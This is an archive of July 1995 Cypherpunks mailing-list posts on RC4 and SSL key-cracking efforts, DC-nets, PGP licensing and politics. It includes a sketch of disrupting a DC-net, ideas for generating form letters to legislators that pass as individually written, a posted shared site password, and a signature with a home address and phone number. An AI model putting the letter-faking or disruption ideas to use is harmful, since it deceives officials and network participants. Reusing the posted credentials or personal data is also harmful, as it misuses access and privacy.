Date: Mon, 17 Jul 95 10:18:29 PDT
Subject: speeding detected by civilians
In-Reply-To: <rogerohyxp80a.fsf@sturgeon.coelacanth.com>
Message-ID: <m0sXuVC-0009tMC@sdwsys>


> 
> In article <3u4g3t$pn8 at nntp.crl.com> Buzz at static.noise.net (Buzz White) writes:
> 
>    >> Vernon Hills, Illinois, a Chicago suburb, has passed legislation allowing 
>    >> citizens to check out radar guns from the local police department to 
>    >> catch speeders in their community. The radar guns are combined with 
>    >> cameras in order to instantaneously capture the car, license number, and the 
>    >> rate of speed. The citizens can check out the units for a week at a time. The 
>    >> police have stated that they, at this time, will use the data to issue 
>    >> warning letters to the violaters.
> 
>    Can they use them to bust COPS that speed?   Heh heh.
> 
> If Vernon Hills has any citizens left with spines, you can bet that
> the local police are going to start to get a couple hundred pictures
> of cop cars per week... Hell, I'll bet that I could take that many
> by *myself* :)

I'm absolutely dying to do that with cops around here (N.VA/Tysons) area...

I got a ticket at 2:30 AM while my car was on cruise at 55MPH, almost
no hills, guy said he 'paced' me for about a mile doing 70 2-3 miles
before he stopped me, yet he was too lazy to use his radar...
I paid $40 and spent a few hours getting an officially certified
speedometer test, etc.

Still trying to go to court: first date was for July 3rd, which they
decided at the last minute to take as vacation, told me to appear
July 5th, when I found out that the continuance was for Aug 9.  (For
a June 5th or so ticket.

After 50 calls to the court house trying to get through, I found out
that the officers don't even have to turn in paperwork unless I don't
pay the bond and then they just turn it in 4-5 days before the court
date.

The parking meter at the courthouse was fraudulent (20 min for my $.25 for
30 min fee), and I've noted numerous speeding and illegal Uturns, parking
in active roadway's without lights, etc. offences by local police...

sdw

> -- 
> Roger Williams  --  Coelacanth Engineering  --  Middleborough, Mass

sdw
-- 
Stephen D. Williams 25Feb1965 VW,OH (FBI ID) sdw at lig.net http://www.lig.net/sdw
Consultant, Vienna,VA Mar95- 703-918-1491W 43392 Wayside Cir.,Ashburn, VA 22011
OO/Unix/Comm/NN       ICBM/GPS: 39 02 37N, 77 29 16W home, 38 54 04N, 77 15 56W
Pres.: Concinnous Consulting,Inc.;SDW Systems;Local Internet Gateway Co.;28May95




From pgf at tyrell.net  Mon Jul 17 10:29:23 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Mon, 17 Jul 95 10:29:23 PDT
Subject: bi-directional dining cryptographers
In-Reply-To: <9507171256.AA20139@cs.umass.edu>
Message-ID: <199507171724.AA15346@tyrell.net>


I'm rereading my mail at once; I've forgotten if I told you this
already.

Anyway, I just presupposed the same protocol outlined by Chaum in
his paper. It's disruptable, but so's any DC-net to begin with.

DC-nets presuppose a fair amount of co-operation between their
participants.

I'd also like to point out that this system indicates that during
an attack/disruption on a traditional dc-net, the disruptor can 
tell what the original person was trying to send, even though noone
else can.

And then perhaps XOR the data with something offensive, and if the
original sender tries to re-send, broadcast the result of the XOR,
resulting in a total net output of the offensive material.

I'm sure someone's going to try that sooner or later.

Phil





From wb8foz at nrk.com  Mon Jul 17 10:37:25 1995
From: wb8foz at nrk.com (David Lesher)
Date: Mon, 17 Jul 95 10:37:25 PDT
Subject: TIME pathfinder registration
Message-ID: <m0sXxKb-0005BTC@nrk.com>


-----BEGIN PGP SIGNED MESSAGE-----

I note someone has used "cypherpunks" as a login for TIME Mag's
WWW service.

I'd guess it was in the spirit of other such enrollments.
If so, what's the password?
- -- 
A host is a host from coast to coast.................wb8foz at nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433

-----BEGIN PGP SIGNATURE-----
Version: 2.6

iQCVAgUBMArQLhqU5+N/mI7JAQGAPwQAjVGA8kf/ncHJ+ltzVwnzr7ncCjCpcvxv
kaPRYrIJHE5qQzm7YLKfrn6kv51f+QZgRQHZz0wWtQoQgSwta0WQXBbbU7CWFy95
vE1sKselPRElDkLRxzltgJqLCAYZBBAnjxlnck7EaDbXfyAGsTbNIE261PsXDMUk
IyyYk+2Tc04=
=JwQi
-----END PGP SIGNATURE-----




From pcw at access.digex.net  Mon Jul 17 10:51:10 1995
From: pcw at access.digex.net (Peter Wayner)
Date: Mon, 17 Jul 95 10:51:10 PDT
Subject: WSJ on remailers...
Message-ID: <ac30554a20021004de28@[199.125.128.5]>



The WSJ has a  article on anonymous remailers buried in the B section. It
is pretty straightforward and ends up quoting some Finnish police officer
saying that they're not going to go raiding remailers on any suspicion.
They'll need a real crime.

-Peter







From liberty at gate.net  Mon Jul 17 11:11:28 1995
From: liberty at gate.net (Jim Ray)
Date: Mon, 17 Jul 95 11:11:28 PDT
Subject: Root Causes Roots
Message-ID: <199507171809.OAA76923@tequesta.gate.net>


-----BEGIN PGP SIGNED MESSAGE-----

Professor Froomkin writes:

>Jim didn't take my Con Law I course.

True, and from what I hear, I regret not taking it. 

>
>In message <199507161819.OAA06090 at bb.hks.net> Jim Ray writes:
>[cuts throughout]
>> 
>> Amendment IX -- "The enumeration in the Constitution of certain rights
>> shall not be construed to deny or disparage others retained by the people."
>                                                      ^^^^^^^ 
>> [The right to write code was among many rights NOT enumerated.]
>> 
>
>Very hard to argue that the right to write code (as opposed to, 
>say, the right to write in code) 

A distinction my feeble mind fails to grasp, as doing the one is required
in order to even make the other possible. [Now all can see why I had 
so much trouble in law school.]

>existed in the late 18th century; 

A short trip to:"CME's cryptography timeline" [Recently suggested 
on this list] and found at URL:

http://www.clark.net/pub/cme/html/timeline.html  

Reveals some interesting code-history.

[In case the good professor or others on the list are without a
SLIP/PPP connection, a not-so-short excerpt from CME's cryptography
timeline follows]:

_____________________________________________________________


- - From David Kahn's ``The Codebreakers'': 

     ``It must be that as soon as a culture has reached a certain level,
probably measured largely by its literacy, cryptography appears
spontaneously -- as its parents, language and writing, probably also 
did. The multiple human needs and desires that demand privacy among 
two or more people in the midst of social life must inevitably lead to
cryptology wherever men thrive and wherever they write. Cultural 
diffusion seems a less likely explanation for its occurrence in so many
areas, many of them distant and isolated.'' [p. 84] 

The invention of cryptography is not limited to either civilians or the 
government. Wherever the need for secrecy is felt, the invention occurs. 
However, over time the quality of the best available system continues to 
improve and those best systems were often invented by civilians.
Again, from David Kahn: 

     ``It was the amateurs of cryptology who created the species. The 
professionals, who almost certainly surpassed them in cryptanalytic 
expertise, concentrated on down-to-earth problems of the systems that 
were then in use but are now outdated.
     The amateurs, unfettered to those realities, soared into the 
empyrean of theory.'' [pp. 125-6] 

In the list to follow (until I learn how to make tables in HTML), each
description starts with (date; civ or govt; source). Sources are 
identified in full at the end. 

      about 1900 BC; civ; Kahn p.71; an Egyptian scribe used non-standard 
hieroglyphs in an inscription. Kahn lists this as the first documented 
example of written cryptography. 

      1500 BC; civ; Kahn p.75; a Mesopotamian tablet contains an enciphered 
formula for the making of glazes for pottery. 

      500-600 BC; civ; Kahn p.77; Hebrew scribes writing down the book of 
Jeremiah used a reversed-alphabet simple substitution cipher known as 
ATBASH. (Jeremiah started dictating to Baruch in 605 BC but the chapters 
containing these bits of cipher are attributed to a source labeled ``C'' 
(believed not to be Baruch) which could be an editor writing after the 
Babylonian exile in 587 BC, someone contemporaneous with Baruch or even 
Jeremiah himself.)
     ATBASH was one of a few Hebrew ciphers of the time. 

      487 BC; govt; Kahn p.82; the Greeks used a device called the 
``skytale'' -- a staff around which a long, thin strip of leather was 
wrapped and written on. The leather was taken off and worn as a belt. 
Presumably, the recipient would have a matching staff and the encrypting 
staff would be left home. 

      50-60 BC; govt; Kahn p.83; Julius Caesar (100-44 BC) used a simple 
substitution with the normal alphabet (just shifting the letters a fixed 
amount) in government communciations. This cipher was less strong than 
ATBASH, by a small amount, but in a day when few people read in the first 
place, it was good enough.

<SNIP! Off to some [slightly] more modern times.>

1564; civ; Kahn p.144(footnote); Bellaso published an autokey cipher 
improving on the work of Cardano who appears to have invented the idea. 

      1623; civ; Bacon; Sir Francis Bacon described a cipher which now 
bears his name -- a biliteral cipher, known today as a 5-bit binary 
encoding. He advanced it as a steganographic device -- by using variation 
in type face to carry each bit of the encoding. 

      1585; civ; Kahn p.146; Blaise de Vigen�re wrote a book on ciphers, 
including the first authentic plaintext and ciphertext autokey systems 
(in which previous plaintext or ciphertext letters are used for the 
current letter's key). [Kahn p.147: both of these were forgotten and
re-invented late in the 19th century.] [The autokey idea survives today
in the DES CBC and CFB modes.] 

      1790's; civ/govt; Kahn p.192, Cryptologia v.5 No.4 pp.193-208; Thomas 
Jefferson, possibly aided by Dr. Robert Patterson (a mathematician at U. 
Penn.), invented his wheel cipher. This was re-invented in several forms 
later and used in WW-II by the US Navy as the Strip Cipher, M-138-A. 

      1817; govt; Kahn p.195; Colonel Decius Wadsworth produced a geared 
cipher disk with a different number of letters in the plain and cipher 
alphabets -- resulting in a progressive cipher in which alphabets are used 
irregularly, depending on the plaintext used. 

      1854; civ; Kahn p.198; Charles Wheatstone invented what has become 
known as the Playfair cipher, having been publicized by his friend Lyon 
Playfair. This cipher uses a keyed array of letters to make a digraphic 
cipher which is easy to use in the field. He also re-invented the 
Wadsworth device and is known for that one. 

      1857; civ; Kahn p.202; Admiral Sir Francis Beaufort's cipher (a 
variant of what's called ``Vigen�re'') was published by his brother, 
after the admiral's death in the form of a 4x5 inch card. 

      1859; civ; Kahn p.203; Pliny Earle Chase published the first 
description of a fractionating (tomographic) cipher. 

      1854; civ; Cryptologia v.5 No.4 pp.193-208; Charles Babbage seems to 
have re-invented the wheel cipher. 

      1861-1980; civ; Deavours; 
          ``A study of United States patents from the issuance of the 
first cryptographic patent in 1861 through 1980 identified 1,769 
patents which are primarily related to cryptography.'' [p.1] 

      1861; civ/(govt); Kahn p.207; Friedrich W. Kasiski published a book 
giving the first general solution of a polyalphabetic cipher with 
repeating passphrase, thus marking the end of several hundred years of 
strength for the polyalphabetic cipher. 

      1861-5; govt; Kahn p.215; during the Civil War, possibly among other 
ciphers, the Union used substitution of select words followed by word 
columnar-transposition while the Confederacy used Vigen�re (the solution 
of which had just been published by Kasiski). 

      1891; govt/(civ); Cryptologia v.5 No.4 pp.193-208; Major Etienne 
Bazeries did his version of the wheel cipher and published the design 
in 1901 after the French Army rejected it. [Even though he was a military 
cryptologist, the fact that he published it leads me to rate this as (civ)
as well as govt.] 
<SNIP>
______________________________________________________________
End of copy from "CME's cryptography timeline." Thanks [and apologies]
to David Kahn, whose 1960s book is well worth buying, even today.
______________________________________________________________

Professor Froomkin continues:

>hence it is hard to argue that it could be "retained" 
>today.  

In view of the foregoing timeline excerpts, I would 
respectfully disagree.

>
>Assuming that the ninth amendment has, or could have, teeth,

[I am certain it _would_, with ballot-access-fairness reform,
but that's a side issue, like abortion, that should *not*
occupy this list. I am, however, quite willing to discuss it
by private e-mail. JMR]

>it 
>is unlikely to go beyond rights existing or closely analogous to 
>those held by "the people" [free white males, more likely] at 
>the time of the amendment's ratification.  Just as well if you 
>think about it carefully.


Careful thought reveals a atrong suspicion that the "3/5ths people" 
[slaves] had more use for crypto at the time than free white males 
did, but I doubt much, if any, evidence of that activity was 
preserved, and I'm sure it was _forcefully_ discouraged if ever
discovered...My point is, slaves, or those who live in fear of 
eventual slavery, for whatever reason, have a strong affinity for 
cryptography. Note, for example, early use [mentioned in the timeline
above] by the Jewish people.
JMR

Regards, Jim Ray
"It is dangerous to be right when the government is wrong." Voltaire


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Freedom isn't Freeh

iQCVAwUBMAqmcG1lp8bpvW01AQFfHwP6AxRCwCIunx0GDuRkG5EZTjvkdPOIqaJd
SAAdjHI12faTTL965zeNLw1ws/5/d+INC5U+j1i3mtRbBzb3rYZTRxtb3wmze0jR
cQZblne2Q1jt1teH0xghFrrC3iPkIV9ILf5IdRafv1xqx/cv4/fuUpWb/89nCDzC
U/mCFmCWNYE=
=/+5k
-----END PGP SIGNATURE-----






From hayden at krypton.mankato.msus.edu  Mon Jul 17 11:37:15 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Mon, 17 Jul 95 11:37:15 PDT
Subject: RC4 crack
Message-ID: <Pine.ULT.3.91.950717133656.23201A-100000@krypton.mankato.msus.edu>


-----BEGIN PGP SIGNED MESSAGE-----

So what was the result of the RC4 key cracking thing that happened last 
week?  It's at 100% but that's all it says.



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: PGP Signed with PineSign 1.0

iQCVAwUBMAqt9DokqlyVGmCFAQGxTgP/X6Cm7RfWOeWrzI52ws/cibtnZ/jJ6nTV
8MrWam8ZziWmq3fZeovLU/6sz2CAVBN9msqxo3H0AFTRLBrv1ZRuDj1bCzMEcsXW
JSFiUleDUOliF3qGQMTU9PyaekVr8Kc/OdiHcJhWm5xZjbYA+yvrcwUYCUR/vKBw
UPyL29Jx0L4=
=xMlz
-----END PGP SIGNATURE-----
 
____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden





From trei  Mon Jul 17 11:42:51 1995
From: trei (Peter Trei)
Date: Mon, 17 Jul 95 11:42:51 PDT
Subject: Free The World Web Server project.. :)
Message-ID: <9507171842.AA10254@toad.com>


> 
> DM> however, would be unobtrusive. A web page that mails a form letter to
> DM> _your_ congressperson's form-letter-readers (ie staff readers) would be
> DM> much better, IMHO.
 
>   Expecially if the form letter generated would be randomly selected
> from parallel word streams.  For example:
 
>        I am <concerned|alarmed|frightened> by the <attacks on privacy
>      rights in|glaring First Amendment violations in|fascist mentality
>      of|ominous provisions of|potential for civil rights infringement
>      by> SB <#BILLNO> <introduced recently| proposed|offered> by Senator
>      <#ORIGINATOR>.....

     This sort of thing bugs me a lot. If your level of passion
on an issue is not enough to send an individually composed letter,
then send a form letter. But don't try to fake out people that
your note is actually individually composed. One of my pet peeves
is junk mail tricked up to look like something else. I expect 
legislators feel the same way, and have a lot of practice 
recognizing it.

     Personally, if I feel strongly about an issue, I call up
the legislators office and give his/her aide a piece of my mind.
I try to be polite, informative, and find an angle of interest
to that particular legislator, no matter how much I may actually 
despise the slimeball (this was tough when talking to Exon's
press secretary).

Peter Trei
trei at acm.org


Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
trei at process.com





From kinney at bogart.Colorado.EDU  Mon Jul 17 12:08:54 1995
From: kinney at bogart.Colorado.EDU (W. Kinney)
Date: Mon, 17 Jul 95 12:08:54 PDT
Subject: TIME pathfinder registration
In-Reply-To: <m0sXxKb-0005BTC@nrk.com>
Message-ID: <199507171908.NAA23963@bogart.Colorado.EDU>



> I note someone has used "cypherpunks" as a login for TIME Mag's
> WWW service.
> 
> I'd guess it was in the spirit of other such enrollments.
> If so, what's the password?

This was me. The password is "writecode", since Pathfinder didn't allow
the login and password to be the same.

                              -- Will





From bart at netcom.com  Mon Jul 17 12:31:29 1995
From: bart at netcom.com (Harry Bartholomew)
Date: Mon, 17 Jul 95 12:31:29 PDT
Subject: Automated Rant Generators and Letter Generators
In-Reply-To: <ac2fd6eb19021004056b@[205.199.118.202]>
Message-ID: <199507171929.MAA18513@netcom7.netcom.com>


> 
> Cypherpunks could probably have an effect on hastening this "denial of
> service" attack on the efficacy of letter-writing by releasing an
> easy-to-use package that does all this letter writing at the click of a
> button....just type in some key words, for the topics, and it does the
> rest.
> 
> An interesting project, actually.
> 
> --Tim May
> 
    A final step might be to interface the output to old pen plotters
    like my HP7470A with an ascii-to-handwriting program.  Akin to
    the White House souvenir signature generator, but with a set of
    parameters to mimic different "hands".  Knuth's Metafont tricks 
    come to mind. 






From werner at mc.ab.com  Mon Jul 17 12:41:11 1995
From: werner at mc.ab.com (tim werner)
Date: Mon, 17 Jul 95 12:41:11 PDT
Subject: "Judgement Proof" and Putting Up or Shutting Up
Message-ID: <9507171938.AA03018@mondo.ab.com>


>Date: Wed, 5 Jul 1995 04:32:41 +0000 (GMT)
>From: attila <attila at PrimeNet.Com>

>and, conspiracy theories non-withstanding, we the people do not govern 
>America --we are only given a short list of politicians who have sold 
>their soul to CFR's satanist inner circle.

What's CFR?


tw

-- 

Well, Bust My Britches!  Eggs Almondine and a Bottle of Beaujolais!





From skaplin at mirage.skypoint.com  Mon Jul 17 12:54:28 1995
From: skaplin at mirage.skypoint.com (Samuel Kaplin)
Date: Mon, 17 Jul 95 12:54:28 PDT
Subject: Perl Shirts
Message-ID: <Pine.SV4.3.91.950717145151.8449A-100000@mirage.skypoint.com>


-----BEGIN PGP SIGNED MESSAGE-----

Anyone know when Joel is going to ship the perl shirts?

Thanks,

Sam

-----BEGIN PGP SIGNATURE-----
Version: 2.6.1
Comment: PGP Signed with PineSign 1.0

iQCVAwUBMAq/xe5wXwthmZO1AQEeoQP/dnmJNi+yz5HwPVU3BCOlqLWrQlGHIGjW
LcREDkaXaOWIqJB+5wr/Sc59l54niivh+PifgS72kreLgiw+Im1rF0ftAIUa1f9x
2NUvp+v1yMNB20By25jEhZHwGgMo1dKe67xOhOBVukoEhe1VLg4YO9i7XIqPCh0E
WUlLMj38itQ=
=zz5B
-----END PGP SIGNATURE-----
 





From mpd at netcom.com  Mon Jul 17 13:05:07 1995
From: mpd at netcom.com (Mike Duvos)
Date: Mon, 17 Jul 95 13:05:07 PDT
Subject: "Judgement Proof" and Putting Up or Shutting Up
In-Reply-To: <9507171938.AA03018@mondo.ab.com>
Message-ID: <199507172003.NAA22114@netcom2.netcom.com>



> What's CFR?

I'll take a wild guess and say the Council on Foreign Relations or 
some such thing.  If memory serves me correctly, David Sternlight
is a member.

BTW, I'm back on the list after a few months of working on a 
project.  Did I miss anything interesting?  PGP hasn't been
broken in some trivial fashion, I hope. 





From klp at noc.cis.umn.edu  Mon Jul 17 13:05:36 1995
From: klp at noc.cis.umn.edu (klp at noc.cis.umn.edu)
Date: Mon, 17 Jul 95 13:05:36 PDT
Subject: "Judgement Proof" and Putting Up or Shutting Up
In-Reply-To: <9507171938.AA03018@mondo.ab.com>
Message-ID: <300ac24415e4002@noc.cis.umn.edu>


A little birdie told me that tim werner said:
> 
> >Date: Wed, 5 Jul 1995 04:32:41 +0000 (GMT)
> >From: attila <attila at PrimeNet.Com>
> 
> >and, conspiracy theories non-withstanding, we the people do not govern 
> >America --we are only given a short list of politicians who have sold 
> >their soul to CFR's satanist inner circle.
> 
> What's CFR?
> 

Council on Foreign Relations.

Silly me, I thought it was the Tri-Lateral Commission that really steered
the boat, must have been wrong :)


-- 
Kevin Prigge                        |  Holes in whats left of my reason, 
CIS Consultant                      |  holes in the knees of my blues,
Computer & Information Services     |  odds against me been increasin' 
email: klp at cis.umn.edu              |  but I'll pull through...  




From aba at dcs.exeter.ac.uk  Mon Jul 17 13:16:38 1995
From: aba at dcs.exeter.ac.uk (aba at dcs.exeter.ac.uk)
Date: Mon, 17 Jul 95 13:16:38 PDT
Subject: RC4 crack
Message-ID: <20156.9507172011@exe.dcs.exeter.ac.uk>



Robert Hayden <hayden at krypton.mankato.msus.edu> writes on cpunks:
> So what was the result of the RC4 key cracking thing that happened last 
> week?  It's at 100% but that's all it says.

[I answered this in email but the answer is: all will be told soon]

A brief explanation is called for, basically the 100% is %age
allocated, and there are still a few stragglers being swept.

For a brief explanation have a look at the brute-rc4.html page which I
have now updated:

	http://dcs.ex.ac.uk/~aba/brute-rc4.html

A more detailed report will be posted to cpunks when the last keyspace
has been swept.

We are expecting that no key will be found at this stage, as it was
not sure to being with that the supplied plaintext/ciphertext was a
correct pair of RC4-40.  Lack of open Micro$oft specs on the workings
of Micro$oft Access meant that we were guessing, and hoping that we
got it right.  The original brute rc4 project was started on the basis
of 'lets brute it and see'.  Looks like nothing will come out.

Several folks have various parts of an RC4 SSL bruter (netscape secure
sockets layer) and are working on sockets based farming tools to allow
this one to be more automated, as there have been key space management
problems with the bruterc4 effort.  Also means a better % of idle time
will be soaked on particpating machines, as we will not need to wait
for operators to get in the next morning, or rely on people to
remember which space they have swept to paste back into the confirm
box.

Soon ( a week maybe ) the respective parties hope to have all this
sorted out, and get ready for a SSL breaking effort.

So outcome of RC4 soon, followed by SSL effort announce in a while.

In the RC4 outcome announce will be a % break down of how much compute
people swept, even some folks on single PCs have swept as much as 1%
of keyspace alone in 1 week.

Adam






From werner at mc.ab.com  Mon Jul 17 13:17:48 1995
From: werner at mc.ab.com (tim werner)
Date: Mon, 17 Jul 95 13:17:48 PDT
Subject: Is it legal for commercial companies to use PGP?
Message-ID: <9507172015.AA03056@mondo.ab.com>


Hi,

I was reading in some Where to Get PGP Web page that "PGP2.6.2 is legal
to use in the U.S. for non-commercial purposes (i.e., you cannot sell it
or the functionality it provides)".  Can anyone on the list say whether
this is true?  That is, was the use of "i.e." correct, or should it have
been "e.g."?

Or, to put it more succinctly, I was talking to one of the sys admins at
A-B, and he said that we weren't allowed to use PGP to encrypt our mail,
because Viacrypt owned the commercial rights.  But, according to the bit
I quoted, it would only be a violation if A-B tried to put PGP into one
of their products.

Has anyone heard a (hopefully legal, but I'll listen to anyone's
opinion) answer to this?


thanks,
tw

-- 

Well, Bust My Britches!  Eggs Almondine and a Bottle of Beaujolais!





From hayden at krypton.mankato.msus.edu  Mon Jul 17 13:20:04 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Mon, 17 Jul 95 13:20:04 PDT
Subject: RC4 crack
In-Reply-To: <20156.9507172011@exe.dcs.exeter.ac.uk>
Message-ID: <Pine.ULT.3.91.950717151714.25405B-100000@krypton.mankato.msus.edu>


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 17 Jul 1995 aba at atlas.ex.ac.uk wrote:

> Several folks have various parts of an RC4 SSL bruter (netscape secure
> sockets layer) and are working on sockets based farming tools to allow
> this one to be more automated, as there have been key space management
> problems with the bruterc4 effort.  Also means a better % of idle time
> will be soaked on particpating machines, as we will not need to wait
> for operators to get in the next morning, or rely on people to
> remember which space they have swept to paste back into the confirm
> box.

I remember when RSA129 was being done, the program you have you manually 
get a start location, and then email transparent any results that it 
got.  The program that doled out areas to search would base those on what 
had already been mailed in.  I don't know the details of how exactly that 
worked, however.

But, if the program could be written in such a way that it was all 
automatic, mailing in results and automatically (maybe via a telnet 
port?) getting the information about what to search, that would be most 
nice. 

I'd basicly like to be able to start the program, nice it, slam it in the 
background, and forget about it.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: PGP Signed with PineSign 1.0

iQCVAwUBMArF9DokqlyVGmCFAQGf7gP/QCJFRsBUJ7IRoKzheKeFXvFpjRxeJn11
n8DJbMlMaDoH6AIm49LrHI/fXmdlm8A9hrBMSemD7+HmImxSZmx2InS07eni4Khs
j7Npqen2VTOHfr1RBDqUpzUv4FXVciYVLvQs4gzUhEIOjeN4iVhboUm/pBhaj4s4
3IKPuxIovwQ=
=QR/m
-----END PGP SIGNATURE-----
 
____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden





From jya at pipeline.com  Mon Jul 17 13:28:50 1995
From: jya at pipeline.com (John Young)
Date: Mon, 17 Jul 95 13:28:50 PDT
Subject: \"Judgement Proof\" and Putting Up or Shutting Up
Message-ID: <199507172028.QAA20744@pipe4.nyc.pipeline.com>



Responding to msg by klp at noc.cis.umn.edu () on Mon, 17 Jul  3:4 
 PM

>Council on Foreign Relations.
>
>Silly me, I thought it was the Tri-Lateral Commission 
>that really steered  the boat, must have been wrong :)


CFR ->

TLC ->

Opus Dei ->

Cyclops in the Land of The Blind ->

Blind Leading the Blind ->

Wanderers in the Wilderness ->

Michael Jackson Leading the World's Rainbow Children of 
Benetton ->

Marty Rimm, 16-year-old Sheik of AC, Porno-poller of CMU -> 

Bob Guccione - >

FC - > CFR!







From ESPAULDING at CENTER.COLGATE.EDU  Mon Jul 17 13:39:04 1995
From: ESPAULDING at CENTER.COLGATE.EDU (CHEWEY-NOUGAT-ABE)
Date: Mon, 17 Jul 95 13:39:04 PDT
Subject: PGP compilation problems on vax
Message-ID: <01HSZETHQNDEA4LUAI@CENTER.COLGATE.EDU>


	Once upon a time I was able to successfully compile
PGP 2.3 on our vax without a fuss.  Then we switched over to
a happy alpha vax, and all my jolly executables went the way of the
dustbunny.  My problem is this:  neither 2.6 nor 2.3 code will compile
on my alpha, apparently because the function hashpass is undefined.
Anyone have an easy remedy they can email me?  

Thanks,
Eric





From aba at dcs.exeter.ac.uk  Mon Jul 17 13:41:49 1995
From: aba at dcs.exeter.ac.uk (aba at dcs.exeter.ac.uk)
Date: Mon, 17 Jul 95 13:41:49 PDT
Subject: RC4 crack
In-Reply-To: <Pine.ULT.3.91.950717151714.25405B-100000@krypton.mankato.msus.edu>
Message-ID: <20191.9507172036@exe.dcs.exeter.ac.uk>



> I remember when RSA129 was being done, the program you have you manually 
> get a start location, and then email transparent any results that it 
> got.  The program that doled out areas to search would base those on what 
> had already been mailed in.  I don't know the details of how exactly that 
> worked, however.

Yeah it's quite like that except we're going for sockets, and an SMTP
style protocol.  That way people can write other apps to the protocol,
for instance Andy Brown has an SSL bruter and key management s/w for
NT, and he plans to interface to the 'master' software via this socket
protocol, allows intermixing, so some people will be running direct
IP, others with PCs or behind firewalls will be running via the WWW
interface which also talks the SMTP style stuff to the master, and it
would be possible if desired to write an email gateway to the socket
protocol for interacting with the master.

Also the socket protocol (blame Piete for this clever stuff, and most
of the socket protocol design) is planned to work with arbitrary
levels of masters, so you can start a local master say on your local
network, the local master requests keys of the 'big master', and doles
them out to 'slaves' running on each cpu you have.  When all it's
slaves have acked the keyspace it has drawn out from the big master,
it'll ack that bigger keyspace with the bigmaster and draw out some
more keyspace.

> But, if the program could be written in such a way that it was all 
> automatic, mailing in results and automatically (maybe via a telnet 
> port?) getting the information about what to search, that would be most 
> nice. 

Yep a telnet port is it for both reporting and getting keys, also the
WWW interface to the same.

> I'd basicly like to be able to start the program, nice it, slam it
> in the background, and forget about it.

Right, niceing seems to be one option another is to suspend it whilst
people are directly logged in, Kevin and some others have tools for
this kind of thing.  Also there was a similar ultra-nice batch job
suspender which came with RSA129, which we might pinch/combine.

The problem with nicing is that most unix schedulers don't seem to
know what nice means,.. you still get a noticable slow down on
interactive jobs on SGI boxes even if you've got it npri -h 150, and
even though the bruterc4 (and the bruteSSL too) have tiny resident
core sizes).  Also we thought there should be an hours of play option
so you can tell it (the slave) when it is allowed to hammer the
machine, say 6pm - 7am or whatever.

So, yes the idea that you can slam it in the background and forget it
is a very nice one as it ensures max resource usage.  Also it would
allow us to setup a semi-permanent key cracking ring, with slaves that
can support cracking both SSL and RC4, plus whatever anyone else adds
later, you would get to install a new "ability" then your machine
would say know how to do relations for a RSA-512bit or whatever.

Interesting to see how many MIPs can be mustered en masse for this
kind of app.

Adam






From warlord at MIT.EDU  Mon Jul 17 13:44:29 1995
From: warlord at MIT.EDU (Derek Atkins)
Date: Mon, 17 Jul 95 13:44:29 PDT
Subject: RSA-129 vs. RC4 (was Re: RC4 crack)
In-Reply-To: <Pine.ULT.3.91.950717151714.25405B-100000@krypton.mankato.msus.edu>
Message-ID: <199507172043.QAA09575@toxicwaste.media.mit.edu>


> I remember when RSA129 was being done, the program you have you manually 
> get a start location, and then email transparent any results that it 
> got.  The program that doled out areas to search would base those on what 
> had already been mailed in.  I don't know the details of how exactly that 
> worked, however.

Not quite.  The UIDs that were given out for RSA-129 had nothing to do
with the search space.  The reason is that RSA-129 did not search for
the prime factors; it searched for quadratic residue relations.
Moreover, ANY relations within the space is a valid datapoint.  As a
result, the UIDs ojnly told the factoring clients where to start
looking for relations.

You can effectively think of it as a seed to a random number
generator.  So long as everyone has a different seed, they will get
different random numbers.  Thats what the UIDs did; provided each
client with a different starting point.

You had to get a new UID for each run of mpqs because starting over
with the same uid would re-run all the checks you've already done.
Why double-run when UIDs are cheap?  You see, unlike the RC4 crack,
there was no relation between the UIDs and the relations returned.

As the person who wrote the UID returning script, I can tell you that
all it did was keep a file with the last UID given, and when an email
requests came in, it would create a lock on that file, return the last
UID+1 through the number of UIDs requested, and then update the file.
There was no basis of the relations received.  In fact, the UID
responder could have been run on any machine -- it could care less
about the data returned.

> But, if the program could be written in such a way that it was all 
> automatic, mailing in results and automatically (maybe via a telnet 
> port?) getting the information about what to search, that would be most 
> nice. 

The point of runfactor was to allow you to obtain a large segment of
UIDs and dole them out locally.  Since there wasn't a relation between
UID and data returned, then it didn't matter if some UIDs never
returned.

For RC4, you _have_ to search everywhere.  Therefore, you would want
to make runfactor an interactive program that contacted a central
server whenever it wanted to get some search space.  I dont think this
would be very hard to write.

-derek





From warlord at MIT.EDU  Mon Jul 17 13:49:49 1995
From: warlord at MIT.EDU (Derek Atkins)
Date: Mon, 17 Jul 95 13:49:49 PDT
Subject: PGP compilation problems on vax
In-Reply-To: <01HSZETHQNDEA4LUAI@CENTER.COLGATE.EDU>
Message-ID: <199507172049.QAA09700@toxicwaste.media.mit.edu>


> 	Once upon a time I was able to successfully compile
> PGP 2.3 on our vax without a fuss.  Then we switched over to
> a happy alpha vax, and all my jolly executables went the way of the
> dustbunny.  My problem is this:  neither 2.6 nor 2.3 code will compile
> on my alpha, apparently because the function hashpass is undefined.
> Anyone have an easy remedy they can email me?  

There is no such animal as an "alpha vax".  Perhaps you mean an Alpha
running Open/VMS?  PGP 2.6 is way old.  The most recent release is
2.6.2, which I'm told builds fairly cleanly on Open/VMS.  You shoulod
download 2.6.2 and try using that.

-derek






From Andrew.Spring at ping.be  Mon Jul 17 13:53:45 1995
From: Andrew.Spring at ping.be (Andrew Spring)
Date: Mon, 17 Jul 95 13:53:45 PDT
Subject: Anti-Electronic Racketeering Act of 1995
